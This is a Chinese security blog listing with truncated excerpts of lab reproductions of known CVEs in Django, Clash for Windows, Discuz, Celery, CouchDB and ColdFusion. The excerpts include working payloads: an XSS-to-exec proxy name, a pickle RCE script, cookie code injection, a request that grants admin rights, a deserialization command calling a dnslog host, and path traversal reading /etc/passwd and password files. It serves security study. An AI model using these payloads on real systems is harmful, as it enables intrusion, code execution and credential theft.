Django JSONField SQL注入 CVE 2019 14234漏洞复现

漏洞描述 Django是一个由Python编写的开源Web框架,采用MTV框架模式。 该漏洞需要开发者使用JSONField/HStoreField且用户可控queryset查询时的键名,在键名的位置实现SQL注入。 Django通常结合PostgreSQL数据库进行使用,而JSONField是该数据库的一种数据类型,漏洞成因在于Django中JSONField类的实现,Django的model的本质作用在于生成SQL语句,但Django在通过JSONField生成SQL语句时仅通过简单字符串拼接,通过JSONField类获得KeyTransform类并生成SQL语句: class KeyTransform(Transdform): operator = '->' nested_operator = '#>' def __init__(self, key_name, *args, **kwargs): super().__init__(*args, **kwargs) self.key_name = key_name def as_sql(self, compiler, connection): key_transforms = [self.key_name] previous.= self.lhs while isinstance(previous, KeyTransform): key_transforms.insert(0, previous.key_name) previous = previous.lhs lhs, params = compiler.compile(previous) if len(key_transforms) > 1: return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params try: int(self.key_name) except ValueError: lookup = "'%s'" % self.key_name else: lookup = "%s" % self....

Created: 2022-03-19 · Updated: 2022-03-19 · 0opsdc

Django URL跳转 CVE-2018-14574漏洞复现

漏洞描述 当setting中配置了django.middleware.common.CommonMiddleware且APPEND_SLASH=True时会触发URL跳转漏洞,而这两个配置默认存在,且APPEND_SLASH不需显式写在setting配置文件。CommonMiddleware是Django的一个通用中间件,其实质是一个位于site-packages/django/middleware/common.py的类,用于执行一些HTTP请求的基础操作: - Forbid access to User-Agents in settings.DISALLOWED_USER_AGENTS - URL rewriting: Based on the APPEND_SLASH and PREPEND_WWW settings, append missing slashes and/or prepends missing "www."s. - If APPEND_SLASH is set and the initial URL doesn't end with a slash, and it is not found in urlpatterns, form a new URL by appending a slash at the end. If this new URL is found in urlpatterns, return an HTTP redirect to this new URL; otherwise process the initial URL as usual....

Created: 2022-03-16 · Updated: 2022-03-16 · 0opsdc

Clash for Windows RCE漏洞复现

漏洞描述 [Bug]: Remote Code Execution/远程代码执行 · Issue #2710 · Fndroid/clash_for_windows_pkg (github.com) 影响版本 Clash for Windows 0.19.9版本受部分影响。 Clash for Windows 0.19.8及以下版本均受RCE影响。 漏洞复现 POC: port: 7890 socks-port: 7891 allow-lan: true mode: Rule log-level: info external-controller: :9090 proxies: - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true - name: abc type: socks5 server: 127.0.0.1 port: "8088" skip-cert-verify: true proxy-groups: - name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: select proxies: - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> Clash for Windows下载地址:Releases · Fndroid/clash_for_windows_pkg (github....

Created: 2022-03-16 · Updated: 2022-03-16 · 0opsdc

Django Debug Page XSS CVE-2017-12794漏洞复现

漏洞原理 若Django项目使用Postgres作为数据库,当触发异常时,psycopg会将字段名及字段值抛出,当字段值中包含可控字符串时,其最后便会在页面中进行显示。 我们可查看1.11.4和1.11.5版本之间django/views/templates/technical_500.html文件的差异: 其差异在于外部关闭了全局转义,并在如图所示处增加了强制转义。若要触发这两个输出点,我们需要进入{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}语句,那么就需要我们判断这段代码所在的功能点,然后精准打击,图中有一串The above exception was the direct cause of the following exception:报错提示,而依据经验的话这是Django中数据库异常抛出的错误语句。 在Django命令行下,当创建一个已存在的用户时,系统会因触发数据库Unique异常而抛出一个IntegrityError异常,其目的在于方便开发者进行SQL错误调试。 查看django/db/utils.py的__exit__函数: def __exit__(self, exc_type, exc_value, traceback): if exc_type is None: return for dj_exc_type in ( DataError, OperationalError, IntegrityError, InternalError, ProgrammingError, NotSupportedError, DatabaseError, InterfaceError, Error, ): db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__) if issubclass(exc_type, db_exc_type): dj_exc_value = dj_exc_type(*exc_value.args) dj_exc_value.__cause__ = exc_value if not hasattr(exc_value, '__traceback__'): exc_value.__traceback__ = traceback # Only set the 'errors_occurred' flag for errors that may make # the connection unusable....

Created: 2022-02-23 · Updated: 2022-02-23 · 0opsdc

Discuz!X≤3.4任意文件删除漏洞复现

漏洞描述 Discuz 3.4版本之前的任意文件删除漏洞未被完全修复,虽然添加了对属性formtype的判断,但仍可通过模拟文件上传进入其它unlink条件,实现任意文件删除。 影响版本 Discuz 3.4及以下版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/discuz/x3.4-arbitrary-file-deletion docker-compose up -d 环境启动之后直接访问http://<ip>:8080会显示Discuz! info: Can not connect to MySQL server错误,需要先在http://<ip>:8080/install页面安装Discuz,数据库地址填写为db,数据库及管理员密码自行填写即可: 访问http://<ip>/robots.txt查看robots.txt文件是否存在,文件存在且内容如下: # # robots.txt for Discuz! X3 # User-agent: * Disallow: /api/ Disallow: /data/ Disallow: /source/ Disallow: /install/ Disallow: /template/ Disallow: /config/ Disallow: /uc_client/ Disallow: /uc_server/ Disallow: /static/ Disallow: /admin.php Disallow: /search.php Disallow: /member.php Disallow: /api.php Disallow: /misc.php Disallow: /connect.php Disallow: /forum.php?mod=redirect* Disallow: /forum.php?mod=post* Disallow: /home.php?mod=spacecp* Disallow: /userapp....

Created: 2022-02-21 · Updated: 2022-02-21 · 0opsdc

Celery<4.0未授权访问&Pickle反序列化利用漏洞复现

漏洞描述 Celery是一个简单、灵活、可靠的分布式系统,用于处理大量消息的同时也为操作提供维护此类系统所需的工具,其专注于实时处理的任务队列,支持任务调度。 Celery 4.0以下版本默认使用Pickle进行任务消息的序列化传递,而当所用队列服务(Redis、RabbitMQ、RocketMQ等)存在未授权访问问题时,便可利用Pickle反序列化漏洞实现任意代码执行。 影响版本 Celery 4.0以下版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/celery/celery3_redis_unauth docker-compose up -d 在受害主机/tmp目录生成celery_success文件EXP,可根据需求自行修改command内容: import pickle import json import base64 import redis import sys r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}" task_dict = json.loads(ori_str) command = 'touch /tmp/celery_success' class Person(object): def __reduce__(self): # 未导入os模块,通用 return (__import__('os')....

Created: 2022-02-19 · Updated: 2022-02-19 · 0opsdc

Discuz代码执行 Wooyun-2010-080723漏洞复现

漏洞描述 PHP 5.3.x版本php.ini配置文件中request_order参数的默认值为GP,导致$_REQUEST不再包含$_COOKIE,攻击者可通过Cookie传入$GLOBALS覆盖全局变量,进一步实现代码执行。 影响版本 Discuz 6.x版本。 Discuz 7.x版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/discuz/wooyun-2010-080723 docker-compose up -d 环境启动之后直接访问http://<ip>:8080会显示Discuz! info: Can not connect to MySQL server错误,需要先在http://<ip>:8080/install页面安装Discuz,数据库地址填写为db,数据库及管理员密码自行填写即可: 随机抓一个帖子的数据包: GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1 Host: <ip> Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://<ip>/forumdisplay.php?fid=2 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; 8p0_sid=uUasIs; 8p0_onlineusernum=1; 8p0_visitedfid=2; 8p0_oldtopics=D13D; 8p0_fid2=1645160609 Connection: close 将包发送到重放器,修改Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 发包后查看响应,成功返回phpinfo页面,同理可写shell,文件x.php,密码oopsdc:...

Created: 2022-02-18 · Updated: 2022-02-18 · 0opsdc

Apache CouchDB垂直越权 CVE-2017-12635漏洞复现

漏洞描述 Apache CouchDB是一个开源数据库,其使用JSON作为数据存储格式、JavaScript作为查询语言、MapReduce和HTTP作为NoSQL数据库。 漏洞成因在于Erlang和JavaScript对JSON数据解析方式不同,对于重复的键,Erlang会存储两个值,而JavaScript只存储第二个值,从而导致语句执行有差异,可被攻击者用于垂直越权。 示例: Erlang: jiffy:decode("{"a":"1","a":"2"}"). {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]} JavaScript: JSON.parse("{"a":"1","a":"2"}") {a:"2"} 影响版本 1.7.0、2.1.1版本以下均受影响。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/couchdb/CVE-2017-12635 docker-compose up -d 访问http://<ip>:5984/_utils,会跳转到登录页面,使用bp构造如下请求包: PUT /_users/org.couchdb.user:oopsdc HTTP/1.1 Host: <ip>:5984 Content-Length: 92 accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Origin: http://<ip>:5984 Referer: http://<ip>:5984/_utils/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 { "type": "user", "name": "oopsdc", "roles":[ "_admin"], "password": "oopsdc" } 响应包如下: HTTP/1.1 403 Forbidden X-CouchDB-Body-Time: 0 X-Couch-Request-ID: 4ab931d550 Server: CouchDB/2....

Created: 2022-02-15 · Updated: 2022-02-15 · 0opsdc

Adobe ColdFusion反序列化 CVE-2017-3066漏洞复现

漏洞描述 Adobe ColdFusion是一个动态Web服务器,其所采用的CFML(ColdFusion Markup Language)程序设计语言类似JSP的JSTL(JSP Standard Tag Lib),CFML是一种针对Web应用的脚本语言,文件后缀为.cfm。 Adobe ColdFusion存在Java反序列化漏洞,攻击者可通过该漏洞在应用程序上下文中执行任意代码或造成拒绝服务。 影响版本 Adobe ColdFusion(2016 release) Update 3及之前版本。 Adobe ColdFusion 11 Update 11及之前版本。 Aodbe ColdFusion 10 Update 22及之前版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/coldfusion/CVE-2017-3066 docker-compose up -d 访问链接http://<ip>:8500/,显示页面无法展示,还有一个大的404头像。 访问http://<IP>:8500/CFIDE/administrator/index.cfm,默认密码为vulhub,然后有一个初始化成功页面。 利用工具: Releases · codewhitesec/ColdFusionPwn (github.com) https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar 生成poc.ser: java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'ping oopsdc.zzn11a.dnslog.cn' poc.ser 然后抓取访问http://<ip>:8500/flex2gateway/amf的数据包,请求方式更改为POST,Content-Type更改为application/x-amf,在最后面选择从文件中复制,然后将poc.ser文件内容粘贴到请求中,点击转发包,查看dnslog记录即可。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2022-01-27 · Updated: 2022-01-27 · 0opsdc

Adobe ColdFusion文件读取 CVE-2010-2861漏洞复现

漏洞描述 Adobe ColdFusion是一个动态Web服务器,其所采用的CFML(ColdFusion Markup Language)程序设计语言类似JSP的JSTL(JSP Standard Tag Lib),CFML是一种针对Web应用的脚本语言,文件后缀为.cfm。 Adobe ColdFusion 8及Adobe ColdFusion 9版本存在目录穿越漏洞,攻击者可在未授权的情况下读取任意文件。 影响版本 Adobe ColdFusion 8、Adobe ColdFusion 9。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/coldfusion/CVE-2010-2861 docker-compose up -d 访问http://<ip>:8500/CFIDE/administrator/enter.cfm页面,默认密码为admin,登录成功之后会有一个初始化成功页面。 之后的文件读取步骤可能会因为URL编码或Cookie无法成功,所以用bp进行包重放。 读取系统用户信息: GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en HTTP/1.1 Host: <ip>:8500 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close 读取管理员密码: GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en HTTP/1.1 Host: <ip>:8500 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5....

Created: 2022-01-27 · Updated: 2022-01-27 · 0opsdc